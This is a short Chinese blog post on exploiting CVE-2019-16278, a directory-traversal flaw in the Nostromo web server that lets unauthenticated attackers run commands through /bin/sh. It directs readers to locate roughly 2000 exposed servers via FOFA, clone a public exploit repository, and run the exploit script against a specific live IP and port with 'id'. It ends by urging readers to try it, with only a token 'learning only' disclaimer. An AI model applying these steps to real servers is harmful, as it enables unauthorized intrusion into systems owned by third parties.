CVE-2019-16278 简单利用

华盟原创文章投稿奖励计划

介绍

nhttpd是一种简单,快速且安全的HTTP服务器。它作为单个进程运行,使用select(2)处理连接。对于CGI和目录列表,它执行fork(2)。nhttpd至少实现了HTTP / 1.1和CGI / 1.1。还支持;chroot,setuid,基本身份验证,SSL,IPv6,自定义回复,别名和虚拟主机。要停止服务器,请将SIGTERM信号发送到PID。访问日志以标准CLF格式编写。这是一个开源的web服务,在Unix系统上非常流行,例如FreeBSD, OpenBSD等等。

Nostromo由于在验证URL安全性方面存在缺陷,导致目录穿越,任何人都可以遍历系统中任何文件。因此未经过身份验证的远程攻击者可以强制服务器指向/bin/sh这样的shell文件,借此执行任意命令。在我测试时,Nostromo的所有版本,包括最新的1.9.6版本,都存在漏洞

利用
在FOFA搜索Nostrom,也可以去各大搜索平台大约2000个Nostromo web服务

CVE-2019-16278 简单利用


下载CVE-2019-16278
git clone  

https://github.com/jas502n/CVE-2019-16278
cd  CVE-2019-16278
ls

CVE-2019-16278 简单利用


./CVE-2019-16278.sh 165.154.39.76 8080 id

CVE-2019-16278 简单利用

结果很明显可以看到目标的当前id,有兴趣的小伙伴赶快试试吧!

注:本工具不得用于商业用途,仅做学习交流,一切后果自行承担。

本文原创,作者:congtou,其版权均为华盟网所有。如需转载,请注明出处:https://www.77169.net/html/263720.html

发表评论